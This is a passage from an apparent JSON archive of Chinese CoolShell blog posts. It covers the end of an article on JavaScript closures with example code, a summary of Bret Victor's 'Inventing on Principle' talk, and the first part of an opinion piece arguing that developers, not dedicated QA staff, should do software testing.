undefined窗口三次，因为这三个函数绑定了同一个闭包，而且item的值为最后计算的结果，但是当i跳出循环时i值为4，所以list[4]的结果为undefined.</p>\n<p><strong>例子4：外部函数所有局部变量都在闭包内，即使这个变量声明在内部函数定义之后。</strong></p>\n<p>[javascript]<br/>\nfunction sayAlice() {<br/>\n    var sayAlert = function() { alert(alice); }<br/>\n    // Local variable that ends up within closure<br/>\n    var alice = ‘Hello Alice’;<br/>\n    return sayAlert;<br/>\n}<br/>\nvar helloAlice=sayAlice();<br/>\nhelloAlice();<br/>\n[/javascript]</p>\n<p>执行结果是弹出”Hello Alice”的窗口。即使局部变量声明在函数sayAlert之后，局部变量仍然可以被访问到。</p>\n<p><strong>例子5：每次函数调用的时候创建一个新的闭包</strong></p>\n<p>[javascript]<br/>\nfunction newClosure(someNum, someRef) {<br/>\n    // Local variables that end up within closure<br/>\n    var num = someNum;<br/>\n    var anArray = [1,2,3];<br/>\n    var ref = someRef;<br/>\n    return function(x) {<br/>\n        num += x;<br/>\n        anArray.push(num);<br/>\n        alert(‘num: ‘ + num +<br/>\n        ‘\\nanArray ‘ + anArray.toString() +<br/>\n        ‘\\nref.someVar ‘ + ref.someVar);<br/>\n    }<br/>\n}<br/>\nclosure1=newClosure(40,{someVar:’closure 1′});<br/>\nclosure2=newClosure(1000,{someVar:’closure 2′});</p>\n<p>closure1(5); // num:45 anArray[1,2,3,45] ref:’someVar closure1′<br/>\nclosure2(-10);// num:990 anArray[1,2,3,990] ref:’someVar closure2’<br/>\n[/javascript]</p>\n<h4><strong><span style=\"color: #008000;\">闭包的应用</span></strong></h4>\n<p><strong>Singleton 单件：</strong></p>\n<p>[javascript]<br/>\nvar singleton = function () {<br/>\n    var privateVariable;<br/>\n    function privateFunction(x) {<br/>\n        …privateVariable…<br/>\n    }</p>\n<p>    return {<br/>\n        firstMethod: function (a, b) {<br/>\n            …privateVariable…<br/>\n        },<br/>\n        secondMethod: function (c) {<br/>\n            …privateFunction()…<br/>\n        }<br/>\n    };<br/>\n}();<br/>\n[/javascript]</p>\n<p>这个单件通过闭包来实现。通过闭包完成了私有的成员和方法的封装。匿名主函数返回一个对象。对象包含了两个方法，方法1可以方法私有变量，方法2访问内部私有函数。需要注意的地方是匿名主函数结束的地方的'()’，如果没有这个'()’就不能产生单件。因为匿名函数只能返回了唯一的对象，而且不能被其他地方调用。这个就是利用闭包产生单件的方法。</p>\n<h2><strong><span style=\"color: #008000;\">参考：</span></strong></h2>\n<p><a href=\"http://blog.morrisjohns.com/javascript_closures_for_dummies.html\">JavaScript Closures For Dummies(</a><a href=\"http://web.archive.org/web/20080209105120/http://blog.morrisjohns.com/javascript_closures_for_dummies\">镜像</a><a href=\"http://blog.morrisjohns.com/javascript_closures_for_dummies.html\">)</a> 可惜都被墙了。<br/>\n<a href=\"http://yuiblog.com/blog/2006/11/27/video-crockford-advjs/\">Advance Javascript</a> （Douglas Crockford 大神的视频，一定要看啊）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6668.html\"><img alt=\"再谈javascript面向对象编程 \" height=\"150\" src=\"../wp-content/uploads/2012/02/joo_1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6668.html\">再谈javascript面向对象编程 </a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6441.html\"><img alt=\"Javascript 面向对象编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6441.html\">Javascript 面向对象编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5202.html\"><img alt=\"对象的消息模型\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5202.html\">对象的消息模型</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17524.html\"><img alt=\"如何读懂并写出装逼的函数式代码\" height=\"150\" src=\"../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17524.html\">如何读懂并写出装逼的函数式代码</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6731.html\">理解Javascript的闭包</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-3-9 Bret Victor – Inventing on Principle.html",
    "content": "<html><body><p><a href=\"http://worrydream.com\" target=\"_blank\">Bret Victor</a>（<a href=\"http://worrydream.com/#!/cv/bret_victor_resume.pdf\" target=\"_blank\">简历</a>） – 苹果公司的UI交互设计师（大神级的人），在 <a href=\"http://cusec.net\" target=\"_blank\">CUSEC</a>（<em>Canadian University Software Engineering Conference</em>） 上做了一个题为 “Inventing on Principle” 的演讲（<a href=\"http://vimeo.com/36579366\" target=\"_blank\">vimeo视频链接</a>），这个演讲中展示了五个示例：</p>\n<ul>\n<li>用程序画树。如何把程序绘图变成实时的，如何把程序和图映射起来。</li>\n<li>游戏调试。在实时编程的基础上，可以更容易的让你看到程序参数对游戏的调整，甚至对游戏过程的可视化调试。</li>\n<li>算法调试。在写二分查找算法时可以实时看到程序的执行过程。边写边看到。</li>\n<li>电路图。可以实时地看到电路图中各个部件的对1/0信号的处理。</li>\n<li>动画。一种比flash制作动画更NB 的方法。</li>\n</ul>\n<p>下面是优酷上的视频——你一定会被示例中的那些编程工具所震撼！</p>\n<p></p><center></center>\n<p>不过，Bret并不是在说什么编程，也不是在说什么技术，他是在说 How to live your life。</p>\n<p><span id=\"more-6775\"></span></p>\n<p>他认为，在我们的生活当中，我们听到太多的诸如：“跟随你的喜好”、“跟随你的兴趣”，“跟随你的热情”之类的东西，但他更认为，更应该是“跟随一个原则 follow you principle”，他认为真正能让你把事做正确的不是你的喜好，不是你的兴趣，也不是热情，而一个做事的原则。在这个演讲中Bret介绍了他自己的原则和他人的原则，供你参考和并找到你的原则从而live in your life。</p>\n<p>Bret的原则是，他觉得人总是会有很多想法，而把这些想法变成现实是一件非常重要的事，也是最难的事。他觉得当我们在写代码实现一个东西的时候，在实现一个游戏，算法，电路，动画的时候，人很难把自己脑海里的东西映射成现实的东西，因为一个想法变成现实，需要反反复复的调整，如果看不见，就没办法调整。而我们在写好程序，需要编译程序，运行程序，才能看到结果，之后，有些东西发现并不满意，需要做调整，于是需要猜着去改一下程序，再编译运行，再看结果，于是，这个调整的过程相当令人痛苦，因为代码里的那些数字，我需要一点一点地去试，调大调小，总是不能调到我们想要的结果，从而让人无法正常思考。所以，他的原则是——<strong>创造者需要对自己的创造的东西有实时的反馈</strong>。于是出现了视频中的实时编程的那些示例。（其实，这个东西和Firebug很相似，我还记得以前和朋友说过，如果写C/C++程序也能有像Firebug的这种工具就好了，现在果然离实现不远了）</p>\n<p>Bret说起他的动机的时候，他说，他把这个事当成了一种责任而不是一种机会。他说，这就好像我们听到的：审查机制，性别歧视，环境破坏，违反人权等这些问题，绝大多数人是不会把这些事当成一个机会的，而那些有责任感的人会把解决这些问题当作一种责任。同样，当他看到我们被工具或环境限制住了我们创造东西的过程时，他并不觉得这是一个可以发明更好的产品的机会，甚至这是开创自己事业的机会，或是对社会做贡献的机会。他认为想法相当的宝贵，如果一个好的想法推动不了的时候，他会很难受，就像看到一场灾难一样，他觉得，让大家的想法能够顺的进行，这是他的一个责任。</p>\n<p>后面他，举到了很多人的例子，</p>\n<p style=\"padding-left: 30px;\"><a href=\"http://en.wikipedia.org/wiki/Larry_Tesler\" target=\"_blank\">Larry Tesler</a> – 著名的计算机科学家，前苹果的首席科学家，图形界面的创造者（在“<a href=\"https://coolshell.cn/articles/5701.html\" target=\"_blank\" title=\"SteveY对Amazon和Google平台的长篇大论\">SteveY对Amazon和Google平台的长篇大论</a>”中提到过他）。他在70年代看到人们在使用电脑文本编辑器时，需要按某个键进入某种模式（Mode），然后才能输入（VI）。他觉得这样操作起来很复杂，也很不舒服，所以，他为自己设定了一个原则——“Don’t Mode Me In”，他做了很多尝试，做了一个叫Gypsy的文档编辑器，可以通过拖拽移动字符，而且他还发明了复制粘贴，对于一个没有使用过电脑的人来说，只需半个小时的训练就可以输入文字了。Larry把消除模式设置成了自己的原则或责任。他的个人主页是：http://www.nomodes.com，他的Twitter是 @nomodes，甚至他的车牌也是nomodes.</p>\n<p style=\"padding-left: 30px;\"><a href=\"http://en.wikipedia.org/wiki/Elizabeth_Cady_Stanton\" target=\"_blank\">Elizabeth Cady Stanton</a>，100年前的一个美国的女权主义者，当时，她主张妇女的各项权益，比如参与投票，所有人都以为他疯了，今天看来，她是对的，她消除了性别歧视。这和Larry 很相似，他们都看到了一种文化上的错误，并要预见到了未来的样子，他们都为自己设定了一个原则或是信仰，而去为之奋斗。</p>\n<p style=\"padding-left: 30px;\"><a href=\"http://en.wikipedia.org/wiki/Doug_Engelbart\" target=\"_blank\">Doug Engelbart</a>，美国发明家，瑞典人和挪威人后裔。最广为人知的是他发明了鼠标，另外他的小组是人机交互的先锋，开发了超文本系统、网络计算机，以及图形用户界面的先驱；并致力于倡导运用计算机和网络，来协同解决世界上日益增长的紧急而又复杂的问题。</p>\n<p style=\"padding-left: 30px;\"><a href=\"http://en.wikipedia.org/wiki/Alan_Kay\" target=\"_blank\">Alan Kay</a>，美国计算机科学家，在面向对象编程和窗口式图形用户界面方面作出了先驱性贡献。2003年获得图灵奖。目前担任Viewpoints研究院院长，加州大学伯克利分校兼职教授。曾任Apple公司院士，惠普公司资深院士。他有一句尽人皆知的名言——预测未来的最好办法就是创造未来。他相信如果小孩能够熟练掌握电脑，如果写程序是和读书写字一样成为基础知识，那么人们就掌握了一种新的方式去思考，新的方式去了解世界。他所有发明的东西都基于他自己的原则或信条。</p>\n<p style=\"padding-left: 30px;\"><a href=\"http://en.wikipedia.org/wiki/Richard_Stallman\" target=\"_blank\">Richard Stallman</a>，是美国自由软件运动的精神领袖、GNU计划以及自由软件基金会（Free Software Foundation）的创立者。作为一个著名的黑客，他的主要成就包括Emacs及后来的GNU Emacs，GNU C 编译器及GDB 调试器。他所写作的GNU通用公共许可证（GNU GPL）是世上最广为采用的自由软件许可证，为copyleft观念开拓出一条崭新的道路。他的原则，是软件必须是自由的，他认为软件的自由是关乎道义上的对错的，关系到人类的自由。他没车没房没结婚没孩子，也不用手机，但他有非常忠实自由的信条和责任感。</p>\n<p>Bret通过这些例子继续强调——他并不是要大家样做，他只是给大家一个选择。你可以成为一个非常优秀的工程师，非常熟练地掌握了一些技术，你也可以为这个社会做很多贡献，这是成为一个工匠的路，也是大多数人走的路。不过旁边还有一条路，值得去走，那就是解决问题的路，这条路往一头走是创业者，往另一头走是学者，但你需要找到一个你自己的原则，你可能需要很长时间才能找到你的原则，Bret说他花了10年才搞清楚他的原则是什么。</p>\n<p>个人以为，Bret所说这个原则也好，信条也好，是一种对自己创造力有引导性质的原则和信条，并不是那些已有的原则或信条，否则那只不过是在跟从了，所以，这些原则和信条应该是新的东西，是自己悟出来的东西，这样的原则和信条会导致你有一种责任感向正确的方向去创造。当然，这些原则也不是那些非常笼统和模糊的东西，比如，要创业开公司，要设计出有更好的用户体验的东西，要创造有很多用户使用的产品，或是有更好的收入什么的。其应该是明确的，有指导性的，就像Bret他自己的信条一样——“创造者需要即时的反馈”，就像他演示的那样，当你在一行一行修改你的代码的时候，你可以立即看到代码运行的过程和效果。这个原则可以指导着他要对一切达不到这个原则的东西负责，并引导着他知道应该做什么，不应该做什么，从而去创造新的东西，解决问题。</p>\n<p>当然，世界是多元的，每个人都有每个人自己的原则。不同的原则必然会把你导到不同的路上。不管你是否同意，视频中的那些演示是相当令人震撼的。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17680.html\"><img alt=\"从Gitlab误删除数据库想到的\" height=\"150\" src=\"../wp-content/uploads/2017/02/gitlab-600-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17680.html\">从Gitlab误删除数据库想到的</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17459.html\"><img alt=\"关于高可用的系统\" height=\"150\" src=\"../wp-content/uploads/2016/08/HighAvailability-BK-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17459.html\">关于高可用的系统</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9949.html\"><img alt=\"IoC/DIP其实是一种管理思想\" height=\"150\" src=\"../wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9949.html\">IoC/DIP其实是一种管理思想</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8387.html\"><img alt=\"Bret Victor – Learnable Programming\" height=\"150\" src=\"../wp-content/uploads/2012/10/Learnable_Programming-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8387.html\">Bret Victor – Learnable Programming</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5686.html\"><img alt=\"多些时间能少写些代码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5686.html\">多些时间能少写些代码</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6775.html\">Bret Victor – Inventing on Principle</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-4-11 我们需要专职的QA吗？.html",
    "content": "<html><body><p>这个文章必然是有争议的，我在我的<a href=\"http://weibo.com/haoel\" target=\"_blank\">微博</a>上讨论过很多次了，每次都是很有争议的。有不同的观点，有争论总是一件好事，这样可以引发大家的思考。所以，对于我的这篇博文，如果你赞同我的观点，我会感到高兴，如果你会去认真地深入思考，我也会高兴，如果你反对，没关系，可以讨论。</p>\n<p>在此之前，我想说明一下我观点里的这个“专职QA”是怎么定义的。</p>\n<ol>\n<li>其是很多公司成立的专门做测试的技术人员，仅测试不开发。</li>\n<li>这些QA对于软件开发技术并不熟悉，甚至不懂。</li>\n</ol>\n<p>我经历过一些公司都有专职的QA团队（专职的测试人员），自从上个公司我的开发团队在一个项目上被QA部门搞得一团糟，我越来越怀疑专职QA存在在意义。我的观点不一定对，但请让我鲜明地表达一下——<strong>我觉得是不需要全职的QA的，甚至不需要QA这一专职角色或部门，因为，不懂开发的人必然做不好测试。就像不懂开发的研发经理必然管不好研发团队一样。</strong>我越来越觉得Dev应该应该是做测试最合适的人选，这必然是未来的趋势 （因为我已经看到了中国程序员的进步，相比起10年前，今天的程序员已经是非常全面了，再来十年，必然证明我的观点是对的）。</p>\n<p>在我正在展开说明之前，我想引用两篇文章：</p>\n<h4>两篇文章</h4>\n<p>一篇是  “<a href=\"http://sriramk.com/blog/2012/01/testing.html\" target=\"_blank\">On testers and testing</a>”(<a href=\"http://www.aqee.net/on-testers-and-testing/\" target=\"_blank\">中文翻译</a>)，本文的作者Sriram Krishnan是一名程序员，曾在Yahoo和微软工作过，开发过很多软件，曾被纽约时报<a href=\"http://www.nytimes.com/2011/02/27/business/27novel.html\" target=\"_blank\">报道</a>，写过<a href=\"http://amzn.to/progazure\" target=\"_blank\">一本书</a>，本文是他的一篇博客。他在文章中表达了这几个观点——</p>\n<blockquote><p>大多数的开发团队并不需要一个独立的测试角色。即使要有，那么所有的开发时间比上所有的测试时间应该 &gt;20:1的。。证据吗？光看看一些从古至今最成功的软件开发团队就知道了。不论是当今的Facebook，还是30年前最初的NT团队，很多伟大的产品都是出自没有或很少测试人员的团队。</p>\n<p>开发人员应该测试自己的代码。没什么可说的。背后的道理并不重要。这包括单元测试，全覆盖的自动化测试或手工测试或组合测试。如果你的开发人员不能/不愿意或认为这“不归我管”，那你需要更好的程序员。</p></blockquote>\n<p>另一篇文章是邹欣的“<a href=\"http://www.cnblogs.com/xinz/archive/2012/04/09/2439695.html\" id=\"cb_post_title_url\" target=\"_blank\">现代软件工程讲义 9 测试 QA 的角色和分工</a>”，这是一篇很不错的文章。他在文章里提到了分工的必要性，比如第三方的鉴定机构，<strong>并且也指出了分工的一些问题，比如，画地为牢的分工，无明确责任的分工，等，这些问题直接命中了分工的要害</strong>。我隐约觉得，我和邹欣的很多观点是相同的，我们内容上是相同的，只是形式上还有分歧。另外，我的观点太鲜明了，从而容易导向极端的理解。</p>\n<p>你看，<strong>我们都同意，Dev要懂测试，QA要懂开发，只不过分工不同，既然你中有我，我中有你，那就不要分彼此了，一起携手开发测试吧</strong>。（另外，我个人觉得不懂开发的测试人员不可能测试得好）</p>\n<p><em><strong>—- update—- </strong></em>{</p>\n<p><span style=\"color: #008000;\">     //本篇文章出来后，网上出现了一些对此讨论的文章，我一并更新在这里</span><br/>\n【 《<a href=\"http://www.cnblogs.com/guanhe/archive/2012/04/12/response_to_do_we_need_qa.html\" id=\"cb_post_title_url\">对《我们需要专职QA吗？》的回应</a>》作者：<a href=\"http://weibo.com/n/%E6%AE%B5%E5%BF%B5-%E6%AE%B5%E6%96%87%E9%9F%AC\">@段念-段文韬</a> 】<br/>\n【 《<a href=\"http://blog.sina.com.cn/s/blog_55ba8b460100yawe.html\" target=\"_blank\">关于“我们需要专职的QA吗”》</a>作者：<a href=\"http://weibo.com/u/1764108363\" target=\"_blank\">@Jacky郭</a> 】<br/>\n【 《<a href=\"http://blog.sina.com.cn/s/blog_7022adbf0100zgqo.html\" target=\"_blank\">我们需要专职的QA吗？（评）</a>》作者：@<a href=\"http://weibo.com/aiwanglinjun\" target=\"_blank\" title=\"Monkey陳曄曄\">Monkey陳曄曄</a> 】<br/>\n【《 <a href=\"http://thinkcool.weebly.com/1/post/2012/04/qa.html\" id=\"blog-title-link\" target=\"_blank\">《我们需要专职的QA吗？》读后感</a>》作者：@ <a href=\"http://weibo.com/bluesgu\" title=\"花生色魔叔\">花生色魔叔</a>】</p>\n<p>}</p>\n<p><span id=\"more-6994\"></span></p>\n<h4>我的故事</h4>\n<p>我再说说我最糟糕的QA经历吧，这个公司的QA部门只做测试，他们的leader觉得所有的test design和test 的过程都不需要Dev参与，他们是独立于Dev之外的部门，他们几乎不关心Dev的设计和实现，他们只关心能跑通他们自己设计的test case。但是去执行Test Case的时候，又需要Dev的支持，尤其在环境设置，测试工具使用，确认是否是bug方面，全都在消耗着Dev的资源，最扯的是，他们对任何线上的问题不负责，反正出了问题由Dev加班搞定。</p>\n<p>我有一次私自review他们的test case的时候，发现很多的test case这样写到 – “Expected Result：Make sure every thing is fine” ，WTF，什么叫“Every thing is fine”？！而在test case design的时候，没有说明test environment/configuration 是什么？没有说明test data在哪里？Test Case、Test Data、Test Configuration都没有版本控制，还有很多Test Case设计得非常冗余（多个Test Case只测试了一个功能），不懂得分析Function Point就做Test Design。另外，我不知道他们为什么那么热衷于设计一堆各式各样的Negative Test Case，而有很多Positive的Test Case没有覆盖到。为什么呢，因为他们不知道开发和设计的细节，所以没有办法设计出Effective的Test Case，只能从需求和表面上做黑盒。</p>\n<p>在做性能测试的时候，需要Dev手把手的教怎么做性能测试，如何找到系统性能极限，如何测试系统的latency，如何观察系统的负载（CPU，内存，网络带宽，磁盘和网卡I/O，内存换页……）如何做Soak Test，如何观察各个线程的资源使用情况，如何通过配置网络交换机来模拟各种网络错误，等等，等等。</p>\n<p>测试做得也不认真，大量的False Alarm，都是环境问题，比如：安装新版本后没有重启服务，没有使用新的配置文件，网络配置，等等，等等。</p>\n<p>在项目快要上线前的一周，我又私自查看了一下他们的Test Result，我看到5天的Soak Test 的内存使用一直往上涨，很明显的内存泄露，这个情况发生在2个月前，但是一直都没有报告，我只好和我的程序员每天都加班到凌晨，赶在上线前解决了这个问题。但是，QA部门的同学们就像没发生什么事似的，依然正常上下班。哎……</p>\n<p>为什么会这样？我觉得有这么几点原因（和邹欣的观点一样）</p>\n<ol>\n<li>给了QA全部测试的权力，但是没有给相应的责任，</li>\n<li>QA没有体会过软件质量出问题后的痛苦（解决线上问题的压力），导致QA不会主动思考和改进。</li>\n<li>QA对Dev的开发过程和技术完全不了解，增加了很多QA和Dev的沟通。</li>\n<li>QA对软件项目的设计和实现要点不了解，导致了很多不有效的测试。</li>\n</ol>\n<p><span style=\"color: #cc0000;\"><strong>注：我无意在这里贬低QA的能力工作。只是我看到了QA因为没有参与开发的一些现实问题。</strong></span></p>\n<h4>我的观点</h4>\n<p>邹欣对于分工出现的问题给出了两点解决方法：</p>\n<blockquote>\n<ul>\n<li>充分授权和信任（Empower team members）</li>\n<li>各司其职，对项目共同负责（Establish clear accountability and shared responsibility）</li>\n</ul>\n</blockquote>\n<div>我的观点是，<strong>理论上正确，操作上太虚了。这就像我们国家喊的“为人民服务”的口号一样，没有具体的方法，根本无法落实。</strong></div>\n<p>我无意在这里贬低QA的工作，我也无意因为这个事走向另一个极端。但是，我在现在公司的经历，还有很多新兴公司的做法，<span style=\"color: #cc0000;\"><strong>我越来越觉得软件开发，真的不需要专职的QA，更不需要只写代码不懂做测试的专职的Dev</strong></span>。观点如下：</p>\n<p><strong>1）</strong> <strong>开发人员做测试更有效</strong></p>\n<ul>\n<li>开发人员本来就要测试自己写的软件，如果开发人员不懂测试，或是对测试不专业，那么这就不是一个专业的开发人员。</li>\n<li>开发人员了解整个软件的设计和开发过程，开发人员是最清楚应该怎么测试的，这包括单元测试，功能测试，性能测试，回归测试，以及Soak Test 等。</li>\n<li>开发人员知道怎么测试是最有效的。开发人员知道所有的function point，知道fix一个bug后，哪些测试要做回归和验证，哪些不需要。开发人员的技术能力知道怎么才能更好的做测试。</li>\n</ul>\n<p>很多开发人员只喜欢写代码，不喜欢做测试，或是他们说，开发人员应该关注于开发，而不是测试。这个思路相当的错误。开发人员最应该关注的是软件质量，需要证明自己的开发成果的质量。<strong>开发人员如果都不知道怎么做测试，这个开发人员就是一个不合格的开发人员</strong>。</p>\n<p>另外，<strong>我始终不明白，为什么不做开发的QA会比Dev在测试上更专业？ 这一点都说不通啊</strong>。</p>\n<p><strong>2）减少沟通，扯皮，和推诿</strong></p>\n<p>想想下面的这些情况你是否似曾相识？</p>\n<ul>\n<li>QA 做的测试计划，测试案例设计，测试结果，总是需要Dev来评审和检查。</li>\n<li>QA在做测试的过程中，总是需要Dev对其测试的环境，配置，过程做指导。</li>\n<li>QA总是会和Dev争吵某个问题是不是BUG，争吵要不要解决。</li>\n<li>无论发现什么样的问题，总是Dev去解决，QA从不fix问题。</li>\n<li>我们总是能听到，线上发生问题的时候，Dev的抱怨QA这样的问题居然没测出来，</li>\n<li>QA也总会抱怨Dev代码太差，一点也不懂测试，没怎么测就给hand over 给QA了。</li>\n<li>QA总是会push Dev，这个bug再不fix，你就影响我的进度了。</li>\n<li>等等，等等。</li>\n</ul>\n<p>如果没有QA，那么就没有这么多事了，DEV自己的干出来的问题，自己处理，没什么好扯皮的。</p>\n<p>而一方面，QA说Dev不懂测试，另一方面Dev说QA不懂技术，而我们还要让他们隔离开来，各干各的，这一点都不利于把Dev和QA的代沟给填平了。<strong>要让Dev理解QA，让QA理解Dev，减少公说公有理，婆说婆有理的只站在自己立场上的沟通，只有一个方法，那就是让Dev来做测试，让QA来做开发</strong>。这样一样，大家都是程序员了。</p>\n<p><strong>3）吃自己的狗食</strong></p>\n<p>真的优秀的开发团队都是要吃自己狗食的。这句话的意思是——<strong>如果你不能切身体会到自己干的烂事，自己的痛苦，你就不会有想要去改进的动机</strong>。<strong>没有痛苦，就不会真正地去思考，没有真正的思考，就没有真正的进步</strong>。</p>\n<p>在我现在的公司，程序员要干几乎有的事，从需求分析，设计，编码，集成，测试，部署，运维，OnCall，从头到尾，因为：</p>\n<ul>\n<li>只有了解了测试的难度，你才明白怎么写出可测试的软件，怎么去做测试的自动化和测试系统。</li>\n<li>只有自己真正去运维自己的系统，你才知道怎么在程序里写日志，做监控，做统计……</li>\n<li>只有自己去使用自己的系统，你才明白用户的反馈，用户的想法，和用户的需求。</li>\n</ul>\n<p>所以，<strong>真正的工程师是能真正明白软件开发不单单只是coding，还更要明白整个软件工程</strong>。只明白或是只喜欢coding的，那只是码农，不能称之为工程师。</p>\n<p><strong>4）其它问题</strong></p>\n<ul>\n<li><strong>关于SDET</strong>。全称是Software Development Engineer on Test。像微软，Google， Amazon都有这样的职位。但我不知道这样的职位在微软和Google的比例是多少，在Amazon是非常少的。那么像这样的懂开发的专职测试可以有吗？我的答案是可以有！但是，我在想，<strong>如果一个人懂开发，为什么只让其专职做测试呢？这样的程序员分工合理吗？把程序员分成两等公民有意义吗？试问有多少懂开发的程序员愿意只做测试开发呢？</strong>所以，SDET在实际的操作中，更多的还是对开发不熟的测试人员。还是哪句话，不懂开发的人是做不好测试的。</li>\n</ul>\n<ul>\n<li><strong>如果你说Dev对测试不专业，不细心，不认真</strong>，那么我们同样也无法保证QA的专业，细心和认真。在Dev上可能出现的问题，在QA也也会一样出现。而出了问题QA不会来加班解决，还是开发人员自己解决。所以，如果QA不用来解决问题，那么，QA怎么可能真正的细心和认真呢？</li>\n</ul>\n<ul>\n<li><strong>如果你说不要QA的话，Dev人手会不够</strong>。你这样想一下，如果把你团队中现有的QA全部变成Dev，然后，大家一起开发，一起测试，亲密无间，沟通方便，你会不会觉得这样会更有效？你有没有发现，在重大问题上，Dev可以帮上QA的忙，但是QA帮不上Dev的忙。</li>\n</ul>\n<ul>\n<li><strong>第三方中立，你会说人总是测不好自己写的东西，因为有思维定式</strong>。没错，我同意。但是如果是Dev交叉测试呢？你可能会说开发人员会有开发人员的思维定式。那这只能说明开发人员还不成熟，他们还不合格。没关系，只要吃自己的狗食，痛苦了，就会负责的。</li>\n</ul>\n<ul>\n<li><strong>磨刀不误砍柴功</strong>。如果你开发的东西自己在用，那么自己就是自己天然的QA，如果有别的团队也在用你开发的模块，那么，别的团队也就很自然地在帮你做测试了，而且是最真实的测试。</li>\n</ul>\n<ul>\n<li><strong>你可能会说吃狗食就是个笑话，因为如果是我，我把事干烂后，就离职走人了，让别人去吃我的狗食</strong>。这个在现实中的确会发生，也是很现实的。但是想一想，你为什么在一开始让他把事干烂了？另外，如果你的团队在设计评审和代码评审里没有把好关，让某人把事给干烂了，那么这个人的离职带来的问题还是这个团队来扛，于是整个团队都在吃自己的狗食，挺公平的。痛苦过一次，你的团队下次怎么干了，就不敢乱招人了，就不敢随意评审代码了，就不敢让人只做一块东西了。最终还是没有逃脱吃狗食的范畴。</li>\n</ul>\n<ul>\n<li><strong>关于系统集成测试